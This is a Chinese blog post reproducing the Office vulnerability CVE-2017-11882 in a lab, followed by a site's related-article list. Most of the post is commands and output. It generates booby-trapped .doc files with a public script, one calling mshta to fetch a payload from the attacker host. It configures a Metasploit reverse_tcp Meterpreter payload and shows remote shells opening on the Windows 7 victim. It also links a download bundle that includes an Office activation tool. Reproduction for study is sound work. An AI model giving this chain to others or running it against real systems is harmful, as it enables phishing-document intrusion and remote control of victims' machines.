中午时候收到了推送的漏洞预警,在网上搜索相关信息看到很多大牛已经开发出生成doc文档的脚本和msf的poc,本文记录CVE-2017-11882 漏洞在 Msf下的利用。

0x00 漏洞简介

2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。 由于漏洞影响面较广,漏洞披露后,金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日,监控到了已有漏洞POC在网上流传,随即迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。

  • 漏洞影响版本:
  • Office 365
  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

0x01 利用工具清单:

a) tcp反弹:kali 172.16.253.76

b) 安装office2013的系统:win7 172.16.253.4

1. Msf 用到的 Poc

2. office2013、激活工具

3. win7旗舰版ISO镜像

以上工具已经打包好,下载地址:

链接:http://pan.baidu.com/s/1o8635Om  密码:xl91

0x02 利用过程

1. 生成doc

#安装启动nginx
[root@ihoneysec ~]# yum -y install nginx
[root@ihoneysec ~]# cd /usr/share/nginx/html/
[root@ihoneysec html]# systemctl start nginx #下载生成doc的python脚本
[root@ihoneysec ~]# git clone https://github.com/Ridter/CVE-2017-11882.git
[root@ihoneysec ~]# cd CVE-2017-11882/
[root@ihoneysec CVE-2017-11882]# ls
Command109b_CVE-2017-11882.py Command43b_CVE-2017-11882.py example README.md #生成测试doc
[root@ihoneysec CVE-2017-11882]# python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o cve.doc
[*] Done ! output file --> cve.doc
[root@ihoneysec CVE-2017-11882]# cp cve.doc /usr/share/nginx/html/ #生成msf利用的doc
[root@ihoneysec CVE-2017-11882]# python Command43b_CVE-2017-11882.py -c "mshta http://172.16.253.76:8080/abc" -o cve2.doc
[*] Done ! output file --> cve2.doc
[root@ihoneysec CVE-2017-11882]# cp cve2.doc /usr/share/nginx/html/ #放到网站根目录
[root@ihoneysec CVE-2017-11882]# ls /usr/share/nginx/html/
404.html 50x.html cve.doc cve2.doc index.html nginx-logo.png poweredby.png

  

2. 测试正常弹出calc.exe计算器

3. kali msf配置Poc:

root@kali:~# cd /
# 将下载好的漏洞模块放在msf任意目录下
root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
# 检查ip地址
root@kali:/mnt/hgfs/kalishare# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.253.76 netmask 255.255.0.0 broadcast 172.16.255.255
inet6 fe80::20c:29ff:fef5:82af prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:f5:82:af txqueuelen 1000 (Ethernet)
RX packets 3136 bytes 987402 (964.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 255 bytes 20912 (20.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# 启动postgresql服务,打开msf
root@kali:/mnt/hgfs/kalishare# service postgresql start
root@kali:/mnt/hgfs/kalishare# msfconsole ... =[ metasploit v4.16.6-dev ]
+ -- --=[ 1683 exploits - 964 auxiliary - 297 post ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
# 搜索cve_2017_11882 漏洞模块
msf > search cve_2017_11882
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/cve_2017_11882 normal Microsoft Office Payload Delivery # 使用该模块
msf > use exploit/windows/smb/cve_2017_11882
# 设置payload为反弹tcp
msf exploit(cve_2017_11882) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
# 设置本机ip
msf exploit(cve_2017_11882) > set lhost 172.16.253.76
lhost => 172.16.253.76
# 设置uri的路径,要与第一步生成doc时配置一致
msf exploit(cve_2017_11882) > set URIPATH abc
URIPATH => abc
# 检查当前配置
msf exploit(cve_2017_11882) > show options Module options (exploit/windows/smb/cve_2017_11882):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH abc no The URI to use for this exploit (default is random) Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.16.253.76 yes The listen address
LPORT 4444 yes The listen port ... # 启动利用后,msf会监听本机8080端口,如果win7机器打开doc触发访问172.16.253.76:8080/abc就会得到反弹到4444端口的tcp会话
msf exploit(cve_2017_11882) > exploit
[*] Exploit running as background job 0.
# 开始监听
[*] Started reverse TCP handler on 172.16.253.76:4444
msf exploit(cve_2017_11882) > [*] Using URL: http://0.0.0.0:8080/abc
[*] Local IP: http://172.16.253.76:8080/abc
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://172.16.253.76:8080/abc"
msf exploit(cve_2017_11882) > [*] 172.16.253.4 cve_2017_11882 - Delivering payload
[*] Sending stage (179267 bytes) to 172.16.253.4 #收到反弹tcp连接
[*] Meterpreter session 1 opened (172.16.253.76:4444 -> 172.16.253.4:49272) at 2017-11-23 15:14:06 +0800
[*] 172.16.253.4 cve_2017_11882 - Delivering payload
[*] Sending stage (179267 bytes) to 172.16.253.4
[*] Meterpreter session 2 opened (172.16.253.76:4444 -> 172.16.253.4:49274) at 2017-11-23 15:14:17 +0800 msf exploit(cve_2017_11882) >
msf exploit(cve_2017_11882) >
msf exploit(cve_2017_11882) > sessions
# 查看已经建立的反弹会话
Active sessions
=============== Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/windows win7-PC\win7 @ WIN7-PC 172.16.253.76:4444 -> 172.16.253.4:49272 (172.16.253.4)
# 进入id为1的会话
msf exploit(cve_2017_11882) > sessions -i 1
[*] Starting interaction with 1...
# 验证得到反弹连接是否是win7机器ip
meterpreter > ipconfig Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:72:2e:7d
MTU : 1500
IPv4 Address : 172.16.253.4
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::c15d:3813:94ec:d6c8
IPv6 Netmask : ffff:ffff:ffff:ffff:: ......
# 进入命令模式
meterpreter > shell
Process 2924 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
# 查看当前系统用户、主机名
C:\Windows\system32>net user
net user \\WIN7-PC ���û��ʻ� -------------------------------------------------------------------------------
Administrator Guest win7
�����ɹ����ɡ� C:\Windows\system32>

  

CVE-2017-11882漏洞 Msf利用复现的更多相关文章

  1. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

  2. CVE-2019-0708漏洞利用复现

    CVE-2019-0708漏洞利用复现 距离这个漏洞爆出来也有好几个月了,之前一直忙也没来得及写文档,现在重新做一遍. 准备环境: win7靶机 IP地址:172.16.15.118 Kali攻击机 ...

  3. phpStudy后门漏洞利用复现

    phpStudy后门漏洞利用复现 一.漏洞描述 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOptimiz ...

  4. MS17-010漏洞利用复现

    MS17-010漏洞利用复现 准备环境: win7靶机 IP地址:172.16.15.118 Kali攻击机 IP地址:172.16.15.50 首先我们需要查看一下靶机是否开启445端口 打开kal ...

  5. MSF利用ms17-010漏洞过程记录

    1.使用网上以上一个监测工具,扫描出存在ms17-010的主机地址 2.在kali中使用MSF进行检测,存在mf17-010漏洞 msf > use auxiliary/scanner/smb/ ...

  6. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  7. Office高级威胁漏洞在野利用分析

    高级威胁漏洞背景 在高级威胁攻击中,黑客远程投递入侵客户端最喜欢的漏洞是office文档漏洞,就在刚刚结束不久的黑帽子大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是时下o ...

  8. DLink 815路由器栈溢出漏洞分析与复现

    DLink 815路由器栈溢出漏洞分析与复现 qemu模拟环境搭建 固件下载地址 File DIR-815_FIRMWARE_1.01.ZIP - Firmware for D-link DIR-81 ...

  9. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

随机推荐

  1. Django入门教程(二)

    建议直接阅读末尾!!! Writing your first Django app, part 2 本节将设置数据库,创建您的第一个模型(model),并简单介绍Django自动生成的管理页面. 数据 ...

  2. Mysql数据库导出数据字典文档Word或者HTML的3个工具

    最近需要将Mysql的数据库导出一份Word的文档出来,本文记录调研后几个可用的工具和方法: 阿里云DMS工具导出 适用于存储在阿里云RDS服务中的Mysql数据库 导出格式支持:Word.Excel ...

  3. Iframe父子窗口之间的跨域事件调用和传值

    实现方案1:location.hash传值 父页面:parent.html(所在域:www.parent.com) 子页面:child.html(所在域:www.child.com) 要实现父子页面双 ...

  4. 极化码之tal-vardy算法(3)

    考完驾照,回来填坑 /doge/doge 前两节分别介绍了tal算法中的合并函数和信道操作两个部分,我们将高斯信道的应用放在最后一节来介绍. 在之前的介绍中,我们一直在一个前提下进行讨论--即输入字符 ...

  5. win10 uwp ContentDialog 点确定不关闭

    微软的ContentDialog不是一直有,而是UWP新的,可以使用Content放用户控件,使用很好,但是一点不好的是,默认的一点击下面按钮就会退出. 我们有时候需要ContentDialog用户输 ...

  6. JFinal快速上手及注意事项

    官方手册虽然写的很详细但是忽略的很多小的细节方面,不看源码,网络资料又少,很多新手找不到解决办法.所以养成出了问题,多看源码的习惯 部署helloJFinal 项目结构 - 相关代码 `package ...

  7. 根据选中不同的图元来显示不同的属性面板changePropertyPane.html

    在现实生活中,我们有很多时候需要根据选中不同的东西来获取不同的属性,并且就算是同类型的东西我们有时也希望显示不同的属性,就像每个人都有不同的个性,可能会有相同点,但是不可能完全相同. 根据这个思想,我 ...

  8. Java基础总结--面向对象1

    ---面向对象的概念---1.面向过程与面向对象的区别面向过程:是一种思维习惯,解决一个问题的时候靠的是一个个方法调用--核心是动作面向对象:是一种更接近生活中解决问题的思维习惯,解决特定的问题靠对象 ...

  9. [PGM] Bayes Network and Conditional Independence

    2 - 1 - Semantics & Factorization 2 - 2 - Reasoning Patterns 2 - 3 - Flow of Probabilistic Influ ...

  10. iscroll 下拉刷新,上拉加载

    新手,直接贴代码了 <!DOCTYPE html><html class=""><head lang="en"><me ...